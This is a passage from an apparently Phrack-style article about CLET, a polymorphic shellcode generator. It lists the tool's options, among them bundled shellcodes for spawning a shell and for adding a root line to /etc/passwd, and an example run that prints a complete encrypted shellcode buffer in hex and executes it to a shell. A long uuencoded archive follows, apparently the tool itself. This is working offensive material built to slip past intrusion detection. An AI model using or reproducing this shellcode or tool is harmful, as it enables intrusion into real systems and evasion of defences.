 -i is the number of fake instructions (cf 6.1) in the decipher routine.
 
/* Anti-data mining options:

 -f you give here a spectrum file which shows trafic spectrum (cf 5.3) 
    If you don't give a file, probabilities of bytes are the same.

 -B the option -b generates a cramming bytes zone. If the option is used
    without -B, process of generation doesn't take care of the fakenop
    zone, ciphered shellcode, etc... Indeed if -b is used with -B then
    cramming bytes zone tries to correct spectrum 'errors' due to the
    begininning.
 
/* Shellcode

 -E allows you to choose one of our shellcode.
      1 is a classic bash (packetstorm).
      2 is aleph one shellcode.
      3 is a w00w00 code which add a root line in /etc/passwd
      (don't use it with -e in root)

 -S allows us to give your shellcode. It's important because our
    shellcodes are not remote shellcode! You give a file and its bytes
    will be the shellcode. If you just have a shellcode in Cformat you can
    use convert.
    
 -e execute the encrypted shellcode, you see your polymorphic shellcode
    runs.

/* See the generated shellcode.

 -c writes the shellcode in C format.

 -d dump it on stderr.


/* Example

theo@warmach$ ./clet -e -E 2 -b 50 -t -B -c -f ../spectrum/stat2 -a -n 123
 -a -x AABBCCEE -z 15 -i 8

[+] Generating decryption loop : 
   ADD 4EC0CB5C
   ROR 19
   SUB 466D336C           // option -i
   XOR A535C6B4           // we've got 8 instructions.
   ROR D
   ROR 6
   SUB 51289E19
   SUB DAD72129
done

[+] Generating 123 bytes of  Alpha NOP : 
NOP : SUPREMELYCRUTCHESCATARACTINSTRUMENTATIONLOVABLYPERILLABARB
SPANISHIZESBEGANAMBIDEXTROUSLYPHOSPHORSAVEDZEALOUSCONVINCEDFIXERS 
done

// 123 bytes, it's the -n 123 option. -a means alphanumeric nops.

[+] Choosing used regs : 
   work_reg : %edx
   left_reg : %ebx  // regs randomly chosen for decipher routine.
   addr_reg : %ecx
done

[+] Generating decryption header : 
done

[+] Crypting shellcode : 
done

[+] Generating 50 cramming bytes   // -b 50 bytes of cramming bytes
[+] Using ../spectrum/stat2        // -f ../spectrum/stat2: bytes
[+] Adapting to beginning          // depends on spectrum file.
done                               // -B options: Adapting to beginning
                                   // cf 5.3.1

[+] Generating 1 adding cramming bytes to equalize // -t option
[+] Using ../spectrum/stat2        // we can now add adresses of 4 bytes 
done

[+] Assembling buffer : 
   buffer length : 348
done

// This all the polymorph shellcode in C format (option -c) 

Assembled version :
\x53\x55\x50\x52
\x45\x4D\x45\x4C
\x59\x43\x52\x55
\x54\x43\x48\x45
\x53\x43\x41\x54
\x41\x52\x41\x43
\x54\x49\x4E\x53
\x54\x52\x55\x4D
\x45\x4E\x54\x41
\x54\x49\x4F\x4E
\x4C\x4F\x56\x41
\x42\x4C\x59\x50
\x45\x52\x49\x4C
\x4C\x41\x42\x41
\x52\x42\x53\x50
\x41\x4E\x49\x53
\x48\x49\x5A\x45
\x53\x42\x45\x47
\x41\x4E\x41\x4D
\x42\x49\x44\x45
\x58\x54\x52\x4F
\x55\x53\x4C\x59
\x50\x48\x4F\x53
\x50\x48\x4F\x52
\x53\x41\x56\x45
\x44\x5A\x45\x41
\x4C\x4F\x55\x53
\x43\x4F\x4E\x56
\x49\x4E\x43\x45
\x44\x46\x49\x58
\x45\x52\x53\xEB
\x3B\x59\x31\xDB
\xB3\x30\x8B\x11
\x81\xC2\x5C\xCB
\xC0\x4E\xC1\xCA
\x19\x81\xEA\x6C
\x33\x6D\x46\x81
\xF2\xB4\xC6\x35
\xA5\xC1\xCA\x0D
\xC1\xCA\x06\x81
\xEA\x19\x9E\x28
\x51\x81\xEA\x29
\x21\xD7\xDA\x89
\x11\x41\x41\x41
\x41\x80\xEB\x04
\x74\x07\xEB\xCA
\xE8\xC0\xFF\xFF
\xFF\xE3\xBF\x84
\x3E\x59\xF4\xFD
\xEE\xE7\xCF\xE2
\xA2\x02\xF8\xBE
\x1D\x30\xEB\x32
\x3C\x12\xD7\x5A
\x95\x09\xAB\x16
\x07\x24\xE3\x02
\xEA\x3B\x58\x02
\x2D\x7A\x82\x8A
\x1C\x8A\xE1\x5C
\x23\x4F\xCF\x7C
\xF5\x41\x41\x43
\x42\x43\x0A\x43
\x43\x43\x41\x41
\x42\x43\x43\x43
\x43\x43\x43\x42
\x43\x43\x43\x43
\x43\x0D\x0D\x43
\x43\x43\x43\x43
\x41\x42\x43\x43
\x43\x41\x43\x42
\x42\x43\x43\x42
\x0D\x41\x43\x41
\x42\x41\x43\x43  // -t option: it is equalized.
\xAA\xBB\xCC\xEE  // -z 15 option: 15*sizeof(adress) zone
\xAA\xBB\xCC\xEE  // -x AABBCCEE option gives the adress
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE

Executing buffer : ... // -e option we test our polymorph shellcode
sh-2.05a$              // -E 2 we've chosen Aleph One shellcode
                       // That's it.

--[ 7 - References

[1] http://www.phrack.org/p49-14
    Smashing The Stack For Fun And Profit, Aleph One

[2] http://www.phrack.org/p57-0x0f
    Writing ia32 alphanumeric shellcodes, rix

[3] IA-32 Intel Architecture Software Developer's Manual
    Volume 2: Instruction Set Reference
    http://www.intel.com/design/pentium4/manuals/
    get it free ! http://www.intel.com/design/pentium4/manuals/index2.htm

[4] Billy Belcebu Virus Writing Guide
    especially the chapter on polymorphism
    http://vx.netlux.org/lib/static/vdat/tumisc60.htm

[5] Du virus a l'antivirus, Mark Ludwig
    especially the chapter on polymorphism

[6] Neural Computing: an introduction.
    R. Beale, T. Jackson

[7] Calcul des probabilites
    Dominique Foata, Aime Fuchs
    Dunod edition

--[ Greetz

We would like to thank :
- all those who were at the RtC.Party'03, in particular ptah, eldre8, kad 
  and spacewalker.
- #kaori@irc.freenode.net guys                 
- basque && bedian for moral support

begin 644 clet
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
